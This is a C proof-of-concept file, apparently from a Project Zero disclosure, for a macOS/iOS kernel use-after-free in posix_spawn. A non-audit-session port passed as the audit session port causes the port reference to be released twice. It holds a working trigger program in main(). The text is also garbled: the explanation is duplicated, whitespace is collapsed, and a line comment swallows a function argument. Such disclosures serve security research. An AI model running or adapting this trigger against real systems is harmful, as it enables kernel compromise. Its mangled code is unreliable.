/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1104
exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.
It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)
For the special, exception and audit ports it tries to update the new task to reflect the port action
by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
any of those calls fail it calls ipc_port_release_send(port).
task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
an audit session port.
This means we can cause two references to be dropped on the port when only one is held leading to a
use after free in the kernel.
Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
*/// ianbeer#if0MacOS/iOS kernel uaf due to double-release in posix_spawn
exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.It supports 4 different types of port(PSPA_SPECIAL,PSPA_EXCEPTION,PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)For the special, exception and audit ports it tries to update the new task to reflect the port action
by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
any of those calls fail it calls ipc_port_release_send(port).
task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
but audit_session_spawnjoin(which calls to audit_session_join_internal)*does* drop a reference on
the port on failure.It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
an audit session port.This means we can cause two references to be dropped on the port when only one is held leading to a
use after free in the kernel.Tested on MacOS10.12.3(16D32) on MacBookAir5,2#endif#include<stdio.h>#include<stdlib.h>#include<spawn.h>#include<mach/mach.h>
int main(){
mach_port_t p =MACH_PORT_NULL;mach_port_allocate(mach_task_self(),MACH_PORT_RIGHT_RECEIVE,&p);mach_port_insert_right(mach_task_self(), p, p,MACH_MSG_TYPE_MAKE_SEND);
posix_spawnattr_t attrs;posix_spawnattr_init(&attrs);posix_spawnattr_setauditsessionport_np(&attrs,p);
char* _argv[]={"/usr/bin/id",NULL};
int child_pid =0;
int spawn_err =posix_spawn(&child_pid,"/usr/bin/id",NULL,// file actions&attrs,
_argv,NULL);}
